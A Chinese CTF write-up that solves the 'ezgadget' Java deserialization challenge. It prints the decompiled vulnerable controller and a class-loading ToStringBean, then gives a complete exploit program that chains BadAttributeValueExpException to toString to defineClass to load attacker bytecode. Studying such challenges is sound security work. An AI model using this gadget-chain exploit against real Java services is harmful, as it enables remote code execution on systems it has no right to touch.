CTF:简单的ezgadget


前言

摸鱼了好几天,来点康复训练吧,今天来题简单的ctf题,东华杯的ezgadget,先把源码下载,然后反编译。

正文

大致目录结构如下,包括了一个UserBean,一个IndexController,一个tools类和一个ToStringBean类

image-20220505154442563

User.java,这就是一个普通的实现Serializable接口的一个JavaBean

package com.ezgame.ctf.bean;

import java.io.Serializable;

/* loaded from: e14568b06e182.jar:BOOT-INF/classes/com/ezgame/ctf/bean/User.class */
public class User implements Serializable {
    private String UserName;
    private String PassWord;

    public String getUserName() {
        return this.UserName;
    }

    public void setUserName(String userName) {
        this.UserName = userName;
    }

    public String getPassWord() {
        return this.PassWord;
    }

    public void setPassWord(String passWord) {
        this.PassWord = passWord;
    }

    public String toString() {
        return "User{UserName='" + this.UserName + "', PassWord='" + this.PassWord + "'}";
    }
}

IndexController.java,在/readObject里传入一个data值,把data通过base64解码,然后给字节流,再给对象输入流,从流中先读取一个String类型的name,再读取一个int类型的year,需要满足name=gadgets并且year=2021

package com.ezgame.ctf.controller;

import com.ezgame.ctf.tools.Tools;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.beans.factory.xml.BeanDefinitionParserDelegate;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
/* loaded from: e14568b06e182.jar:BOOT-INF/classes/com/ezgame/ctf/controller/IndexController.class */
public class IndexController {
    @RequestMapping({"/"})
    @ResponseBody
    public String index(HttpServletRequest request, HttpServletResponse response) {
        return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;
    }

    @RequestMapping({"/readobject"})
    @ResponseBody
    public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
        byte[] b = Tools.base64Decode(data);
        InputStream inputStream = new ByteArrayInputStream(b);
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        String name = objectInputStream.readUTF();
        int year = objectInputStream.readInt();
        if (!name.equals("gadgets") || year != 2021) {
            return "welcome bro.";
        }
        objectInputStream.readObject();
        return "welcome bro.";
    }
}

tools.java,一个工具类,提供了base64编码解码以及序列化和反序列化的功能

package com.ezgame.ctf.tools;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

/* loaded from: e14568b06e182.jar:BOOT-INF/classes/com/ezgame/ctf/tools/Tools.class */
public class Tools {
    public static byte[] base64Decode(String base64) {
        Base64.Decoder decoder = Base64.getDecoder();
        return decoder.decode(base64);
    }

    public static String base64Encode(byte[] bytes) {
        Base64.Encoder encoder = Base64.getEncoder();
        return encoder.encodeToString(bytes);
    }

    public static byte[] serialize(final Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }

    public static Object deserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }
}

ToStringBean.java ,这个类其实很奇怪,继承了ClassLoader类和实了Serializable接口,并且在他的toString方法中实例化了一个ToStringBean对象,并且使用他的defineClass方法,我们知道这个defineClass是加载字节码的,所以说这里的话我们可以通过调用toString方法来加载我们的恶意字节码,所以我们需要构造一个恶意类,并且先往流里面写入一个String类型的name和int类型的year,再写入我们的恶意类即可

package com.ezgame.ctf.tools;

import java.io.Serializable;

/* loaded from: e14568b06e182.jar:BOOT-INF/classes/com/ezgame/ctf/tools/ToStringBean.class */
public class ToStringBean extends ClassLoader implements Serializable {
    private byte[] ClassByte;

    public String toString() {
        ToStringBean toStringBean = new ToStringBean();
        Class clazz = toStringBean.defineClass(null, this.ClassByte, 0, this.ClassByte.length);
        try {
            clazz.newInstance();
            return "enjoy it.";
        } catch (IllegalAccessException e) {
            e.printStackTrace();
            return "enjoy it.";
        } catch (InstantiationException e2) {
            e2.printStackTrace();
            return "enjoy it.";
        }
    }
}

所以思路很清晰,如果是toString的话,就使用BadAttributeValueExpException,也就是CC5那条链。这里有几个坑点,首先是在new BadAttributeValueExpException的时候需要随便输入几个数组, 然后再使用反射去修改他的val值,防止在第一遍就触发,还有就是base64编码以后,会存在加号,加号默认是空格,所以我们需要进行url编码。最终的调用链如下

BadAttributeValueExpException.readObject->ToStringBean->toString->defineClass+newInstance()

最终的payload如下:

import com.ezgame.ctf.tools.ToStringBean;
import com.ezgame.ctf.tools.Tools;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class exp {
    public static void main(String[] args) throws Exception {
        ToStringBean toStringBean=new ToStringBean();
        Class clazz=ToStringBean.class;
        Field classByte = clazz.getDeclaredField("ClassByte");
        classByte.setAccessible(true);
        byte[] bytes= Files.readAllBytes(Paths.get("C:\\Users\\86155\\Desktop\\student-manage-master\\ezgadget\\target\\classes\\payload.class"));
        classByte.set(toStringBean,bytes);

        BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(123456);
        Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(badAttributeValueExpException,toStringBean);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeUTF("gadgets");
        objectOutputStream.writeInt(2021);
        objectOutputStream.writeObject(badAttributeValueExpException);

        byte[] bytes1=byteArrayOutputStream.toByteArray();
        System.out.println(Tools.base64Encode(bytes1));
    }
}

其中payload.class是我们的恶意类,然后启动我们的jar包

java -jar ezgadget.jar

image-20220505181648153


Author: Ch1e
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source Ch1e !
  TOC